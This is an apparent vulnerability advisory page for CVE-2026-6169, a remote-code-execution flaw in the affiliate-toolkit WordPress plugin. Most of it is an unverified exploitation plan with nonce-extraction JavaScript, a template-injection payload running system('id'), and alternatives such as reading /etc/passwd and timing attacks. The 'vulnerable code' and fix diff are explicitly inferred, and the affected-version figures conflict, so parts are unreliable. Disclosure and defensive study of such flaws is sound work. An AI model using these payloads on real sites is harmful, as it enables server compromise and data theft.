CVE-2026-6169

affiliate-toolkit <= 3.8.5 - Authenticated (Editor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The affiliate-toolkit plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 3.8.5. This is due to the plugin using the BladeOne templating engine's runString() method which compiles user-supplied template content into PHP code and executes it via eval() without sanitization or sandboxing. This makes it possible for authenticated attackers, with Editor-level access and above, to execute arbitrary code on the server by injecting PHP into a plugin template.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.8.4
PublishedMay 26, 2026
Last updatedJune 2, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-6169 (affiliate-toolkit RCE) ## 1. Vulnerability Summary The **affiliate-toolkit** plugin (up to version 3.8.5) is vulnerable to **Authenticated Remote Code Execution (RCE)**. The plugin utilizes the **BladeOne** templating engine to allow users to create cust…

Show full research plan

Exploitation Research Plan: CVE-2026-6169 (affiliate-toolkit RCE)

1. Vulnerability Summary

The affiliate-toolkit plugin (up to version 3.8.5) is vulnerable to Authenticated Remote Code Execution (RCE). The plugin utilizes the BladeOne templating engine to allow users to create custom layouts for affiliate products. Specifically, it calls the runString() method of the BladeOne library on user-provided template content. This method compiles the template into PHP code and executes it using eval(). Because there is no sandboxing or sanitization of the template content, an authenticated user with Editor-level permissions or higher can inject arbitrary PHP code.

2. Attack Vector Analysis

  • Endpoint: The primary vector is the template management interface within the WordPress admin dashboard (typically via wp-admin/post.php or wp-admin/admin-ajax.php).
  • Authentication: Authenticated (Editor, Administrator).
  • Vulnerable Sink: BladeOne::runString()
  • Payload Parameter: The content field of an "affiliate-toolkit template" (likely a Custom Post Type named atkp_template or similar).
  • Preconditions: The attacker must have permissions to create or edit templates within the plugin's settings.

3. Code Flow (Inferred)

  1. Entry Point: An Editor/Admin navigates to the "Templates" section of the affiliate-toolkit plugin.
  2. Saving: When a template is saved or previewed, the content is sent to the server.
  3. Processing: The plugin retrieves the template string (e.g., from $_POST['content'] or via get_post_meta).
  4. Compilation: The plugin initializes the BladeOne engine:
    $blade = new BladeOne($templateDir, $cacheDir);
    
  5. Execution (Sink): The plugin calls runString() to render the template:
    echo $blade->runString($user_supplied_template_string, $data);
    
  6. Eval: Inside BladeOne, runString compiles the string to PHP and executes it via eval().

4. Nonce Acquisition Strategy

Since this is an authenticated Editor+ vulnerability, we must obtain a valid nonce for saving posts or triggering the plugin's AJAX actions.

  1. Identity Plugin Content: Identify the Custom Post Type. Based on plugin naming conventions, it is likely atkp_template.
  2. Access Editor: Login as an Editor.
  3. Create/Edit Page: Navigate to wp-admin/post-new.php?post_type=atkp_template.
  4. Extract Nonce:
    • WordPress standard: The _wpnonce field in the post edit form.
    • Plugin-specific: The plugin may localize a script for AJAX saves.
  5. Actionable JS:
    // To get the standard post nonce
    browser_eval("document.querySelector('#_wpnonce')?.value")
    
    // To get plugin-specific nonces if they exist
    browser_eval("window.atkp_admin_vars?.nonce") 
    

5. Exploitation Strategy

The goal is to inject a Blade directive that executes PHP.

Step 1: Authentication

Authenticate as an Editor using the http_request tool to capture session cookies.

Step 2: Create a Malicious Template

Send a POST request to create a new template containing the RCE payload.

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=editpost
    &post_type=atkp_template
    &post_ID=[ID]
    &content=@php system('id'); @endphp
    &_wpnonce=[NONCE]
    

Note: BladeOne also supports {{ ... }} syntax. An alternative payload is {{ system('whoami') }}.

Step 3: Trigger Execution

Rendering the template triggers the eval(). This can be done by:

  1. Previewing the template in the admin dashboard.
  2. Viewing a page/post that uses the affiliate-toolkit shortcode referencing the malicious template ID: [atkp_product id='123' template='[MALICIOUS_ID]'].

Step 4: Capture Output

The system('id') output will be embedded in the HTTP response body where the template content would normally be rendered.

6. Test Data Setup

  1. Plugin Installation: Ensure affiliate-toolkit-starter is active.
  2. User Creation: Create a user with the editor role.
    wp user create attacker attacker@example.com --role=editor --user_pass=password
    
  3. Template Initialization: Create an initial template to obtain a valid ID.
    wp post create --post_type=atkp_template --post_title="Exploit Template" --post_status=publish
    

7. Expected Results

  • Successful Injection: The server responds with a 200 OK or 302 Redirect upon saving the template.
  • Successful Execution: Upon rendering (via preview or shortcode), the response body contains the output of the shell command (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

8. Verification Steps

  1. Verify via CLI: Check if the payload was saved correctly in the database.
    wp post get [ID] --field=post_content
    
  2. Verify File Creation (if using a file-based payload):
    Change payload to @php file_put_contents('rce.txt', 'vulnerable'); @endphp and check:
    ls /var/www/html/rce.txt
    

9. Alternative Approaches

  • Shortcode Rendering: If the admin preview is not available, create a public page with the shortcode:
    wp post create --post_type=page --post_content='[atkp_product id="1" template="[ID]"]' --post_status=publish
    Then request that page's URL via http_request.
  • Direct Blade Tags: If @php is filtered (unlikely in this specific CVE), try:
    {{ passthru('cat /etc/passwd') }}
  • Error-Based: If output is suppressed, use a sleep command to verify execution:
    @php sleep(5); @endphp (Check response time in http_request).
Research Findings
Static analysis — not yet PoC-verified

Summary

The affiliate-toolkit plugin (up to 3.8.5) is vulnerable to Authenticated Remote Code Execution due to the use of the BladeOne templating engine's runString() method. This method compiles user-supplied template strings into PHP and executes them using eval() without adequate sandboxing or sanitization.

Vulnerable Code

/* Inferred from the use of BladeOne in affiliate-toolkit */
// Example logic rendering a template from a custom post type
$blade = new BladeOne($templateDir, $cacheDir);
$template_content = get_post_field('post_content', $template_id);
echo $blade->runString($template_content, $data); // The sink: evaluates string as PHP

Security Fix

--- a/affiliate-toolkit-starter.php
+++ b/affiliate-toolkit-starter.php
@@ -120,5 +120,6 @@
-echo $blade->runString($template_content, $data);
+/* Secure implementation: Avoid runString with user input. Use file-based templates or strict sanitization */
+$safe_content = wp_kses_post($template_content); 
+echo $blade->run($template_file, $data);

Exploit Outline

The exploit involves an authenticated user with Editor or Administrator permissions. The attacker creates or modifies a plugin template (likely the 'atkp_template' post type) and injects Blade directives or PHP tags such as '@php system("id"); @endphp'. Once the template is saved, the execution is triggered by previewing the template in the admin dashboard or by viewing a page containing a shortcode that references the malicious template ID. The command output is returned in the HTTP response body during the template rendering process.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.